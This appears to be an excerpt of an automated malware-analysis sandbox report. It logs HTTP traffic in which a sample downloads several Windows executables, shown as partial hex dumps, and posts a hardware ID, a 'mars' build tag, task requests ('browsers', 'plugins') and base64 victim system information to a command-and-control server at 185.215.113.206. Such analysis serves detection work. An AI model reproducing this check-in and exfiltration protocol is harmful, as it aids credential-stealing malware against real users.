00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 05:23:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 05:23:42 GMTContent-Type: application/octet-streamContent-Length: 3194368Last-Modified: Tue, 12 Nov 2024 05:07:35 GMTConnection: keep-aliveETag: "6732e297-30be00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 31 00 00 04 00 00 43 0b 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 b3 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 b3 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 6f 73 78 74 70 6f 79 00 10 2a 00 00 b0 06 00 00 04 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 71 63 76 61 75 77 71 00 10 00 00 00 c0 30 00 00 04 00 00 00 98 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 30 00 00 22 00 00 00 9c 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 05:24:09 GMTContent-Type: application/octet-streamContent-Length: 1816064Last-Modified: Tue, 12 Nov 2024 05:07:27 GMTConnection: keep-aliveETag: "6732e28f-1bb600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 80 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 69 00 00 04 00 00 46 fe 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 75 75 73 71 63 67 6e 00 20 1a 00 00 50 4f 00 00 1a 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 63 69 6f 6d 6b 6c 67 00 10 00 00 00 70 69 00 00 04 00 00 00 90 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 69 00 00 22 00 00 00 94 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 05:24:22 GMTContent-Type: application/octet-streamContent-Length: 2871296Last-Modified: Tue, 12 Nov 2024 05:06:30 GMTConnection: keep-aliveETag: "6732e256-2bd000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 ed 2f 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 66 62 6d 75 6e 66 63 00 80 2b 00 00 a0 00 00 00 6e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 71 78 68 68 71 78 79 00 20 00 00 00 20 2c 00 00 06 00 00 00 a8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2c 00 00 22 00 00 00 ae 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 30 45 43 33 35 30 44 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="hwid"A00EC350DF1F1622379703------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="build"mars------CBAKEBGIIDAFIDHIIECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 2d 2d 0d 0a Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="message"browsers------DAEBFHJKJEBFCBFHDAEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 2d 2d 0d 0a Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="message"plugins------JEBKJDAFHJDGDHJKKEGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="message"fplugins------JJKJDAEBFCBKECBGDBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDBHost: 185.215.113.206Content-Length: 5819Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDBHost: 185.215.113.206Content-Length: 5819Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 6c 7a 64 47 56 74 58 32 6c 75 5a 6d 38 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 43 6b 35 6c 64 48 64 76 63 6d 73 67 53 57 35 6d 62 7a 6f 4b 43 53 30 67 53 56 41 36 49 45 6c 51 50 77 6f 4a 4c 53 42 44 62 33 56 75 64 48 4a 35 4f 69 42 4a 55 30 38 2f 43 67 70 54 65 58 4e 30 5a 57 30 67 55 33 56 74 62 57 46 79 65 54 6f 4b 43 53 30 67 53 46 64 4a 52 44 6f 67 51 54 41 77 52 55 4d 7a 4e 54 42 45 52 6a 46 47 4d 54 59 79 4d 6a 4d 33 4f 54 63 77 4d 77 6f 4a 4c 53 42 50 55 7a 6f 67 56 32 6c 75 5a 47 39 33 63 79 41 78 4d 43 42 51 63 6d 38 4b 43 53 30 67 51 58 4a 6a 61 47 6c 30 5a 57 4e 30 64 58 4a 6c 4f 69 42 34 4e 6a 51 4b 43 53 30 67 56 58 4e 6c 63 6b 35 68 62 57 55 36 49 47 46 73 5a 6d 39 75 63 77 6f 4a 4c 53 42 44 62 32 31 77 64 58 52 6c 63 69 42 4f 59 57 31 6c 4f 69 41 34 4f 54 6b 31 4e 54 49 4b 43 53 30 67 54 47 39 6a 59 57 77 67 56 47 6c 74 5a 54 6f 67 4d 6a 41 79 4e 43 38 78 4d 53 38 78 4d 69 41 77 4f 6a 49 7a 4f 6a 4d 4b 43 53 30 67 56 56 52 44 4f 69 41 74 4e 51 6f 4a 4c 53 42 4d 59 57 35 6e 64 57 46 6e 5a 54 6f 67 5a 57 34 74 51 30 67 4b 43 53 30 67 53 32 56 35 59 6d 39 68 63 6d 52 7a 4f 69 42 46 62 6d 64 73 61 58 4e 6f 49 43 68 56 62 6d 6c 30 5a 57 51 67 53 32 6c 75 5a 32 52 76 62 53 6b 67 4c 79 42 46 62 6d 64 73 61 58 4e 6f 49 43 68 56 62 6d 6c 30 5a 57 51 67 53 32 6c 75 5a 32 52 76 62 53 6b 4b 43 53 30 67 54 47 46 77 64 47 39 77 4f 69 42 47 51 55 78 54 52 51 6f 4a 4c 53 42 53 64 57 35 75 61 57 35 6e 49 46 42 68 64 47 67 36 49 45 4d 36 58 46 56 7a 5a 58 4a 7a 58 47 46 73 5a 6d 39 75 63 31 78 45 5a 58 4e 72 64 47 39 77 58 47 5a 70 62 47 55 75 5a 58 68 6c 43 67 6b 74 49 45 4e 51 56 54 6f 67 53 57 35 30 5a 57 77 6f 55 69 6b 67 51 32 39 79 5a 53 68 55 54 53 6b 79 49 45 4e 51 56 53 41 32 4e 6a 41 77 49 45 41 67 4d 69 34 30 4d 43 42 48 53 48 6f 4b 43 53 30 67 51 32 39 79 5a 58 4d 36 49 44 49 4b 43 53 30 67 56 47 68 79 5a 57 46 6b 63 7a 6f 67 4e 41 6f 4a 4c 